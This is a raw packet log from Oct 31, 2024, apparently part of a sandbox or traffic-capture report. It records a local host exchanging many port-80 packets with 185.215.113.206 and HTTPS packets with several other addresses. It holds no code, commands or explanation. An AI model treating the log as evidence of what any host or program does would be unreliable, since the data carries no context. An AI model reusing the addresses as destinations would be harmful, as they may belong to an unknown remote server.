Oct 31, 2024 03:04:32.530229092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.530261040 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.530972958 CET	49881	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.531013012 CET	443	49881	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.531090021 CET	49881	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.532151937 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.532180071 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.532339096 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.533742905 CET	49881	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.533761978 CET	443	49881	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.534035921 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.534044981 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.543924093 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.543947935 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.544003963 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.544008017 CET	49864	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.544054985 CET	49864	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.552769899 CET	49864	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.552783012 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.586297989 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.586878061 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.586905956 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.586955070 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.586963892 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.586992979 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.587013960 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.592056990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.612194061 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.612310886 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.612425089 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.612580061 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.612586021 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.612615108 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.612618923 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.615520000 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.615539074 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.615612030 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.615793943 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.615812063 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.631678104 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.632098913 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.632134914 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.632896900 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.632909060 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.652198076 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.652561903 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.652576923 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.653033018 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.653037071 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.703506947 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.703528881 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.703572989 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.703581095 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.703617096 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.703639030 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.752764940 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.752800941 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.752832890 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.752839088 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.752881050 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.753056049 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.753096104 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.753148079 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.768884897 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.769242048 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.769498110 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.769690037 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.769706964 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.769747972 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.769762993 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.773420095 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.773454905 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.773569107 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.773917913 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.773926973 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.794569969 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.794739008 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.794891119 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.794929981 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.794945002 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.794956923 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.794962883 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.798713923 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.798737049 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.798876047 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.799009085 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.799021959 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.871988058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872067928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872078896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872090101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872112989 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872131109 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872133970 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.872139931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872149944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872160912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.872170925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872181892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872193098 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.872193098 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.872193098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872219086 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.872245073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.872281075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872329950 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.872390985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872402906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.872440100 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873059988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873070002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873110056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873111963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873123884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873136044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873158932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873161077 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873172998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873182058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873183966 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873214960 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873254061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873265028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873296976 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873320103 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873330116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873342037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873368025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873379946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873383045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873389006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873413086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873414993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873425961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873436928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873439074 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873445988 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873449087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873469114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873492002 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873557091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873568058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873579025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873591900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873594999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873608112 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873620987 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873723030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873733997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873744011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873754978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873766899 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873769999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873790026 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873792887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873801947 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873804092 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873815060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873826027 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873830080 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873836040 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873845100 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873847961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873858929 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873878002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873888016 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873888969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873900890 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873910904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873923063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873934031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873939037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873945951 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873955011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873958111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873970985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.873971939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.873996019 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874015093 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874020100 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874037027 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874053001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874063969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874068975 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874082088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874088049 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874102116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874102116 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874111891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874120951 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874121904 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874131918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874135017 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874142885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874154091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874155045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874166012 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874177933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874186993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874188900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874200106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874201059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874211073 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874222994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.874223948 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874248028 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.874275923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.959554911 CET	443	49878	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.959809065 CET	49878	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.959851027 CET	443	49878	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.960920095 CET	443	49878	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.961009026 CET	49878	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.962554932 CET	49878	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.962627888 CET	443	49878	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.972959995 CET	443	49877	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.973340988 CET	49877	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.973352909 CET	443	49877	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.973680973 CET	443	49877	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.977245092 CET	49877	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.977313042 CET	443	49877	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.988509893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988521099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988533020 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988555908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988560915 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988568068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988571882 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988590956 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988594055 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988603115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988619089 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988636971 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988707066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988718033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988734007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988739967 CET	443	49876	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.988744020 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988744974 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988759995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988761902 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988778114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988790035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988806009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988806963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988825083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988833904 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988833904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988852024 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988861084 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988872051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988873959 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988883972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988900900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988919973 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.988941908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988953114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.988959074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.989021063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.989032030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.989058971 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.989090919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.989121914 CET	49876	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.989161015 CET	443	49876	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.989491940 CET	443	49876	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.989810944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.989820957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.989830971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.989865065 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.989896059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.989896059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.989907980 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.989919901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.989938974 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.989962101 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990032911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990048885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990066051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990082026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990083933 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990094900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990106106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990111113 CET	49876	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.990118980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990128994 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990154028 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990164995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990180969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990190029 CET	443	49876	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.990195036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990201950 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990209103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990211010 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990231991 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990235090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990245104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990247011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990257025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990262985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990267992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990277052 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990279913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990292072 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990312099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990323067 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990331888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990345955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990381002 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990413904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990423918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990458965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990461111 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990470886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990494967 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990521908 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990605116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990617990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990639925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990650892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990659952 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990670919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990695000 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990727901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990739107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990778923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990811110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990828037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990854025 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990871906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990926027 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990937948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990948915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.990966082 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990978956 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.990997076 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.022834063 CET	49877	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:33.022851944 CET	49878	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:33.022875071 CET	443	49878	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:33.088751078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.088762999 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.088841915 CET	49823	80	192.168.2.5	185.215.113.206
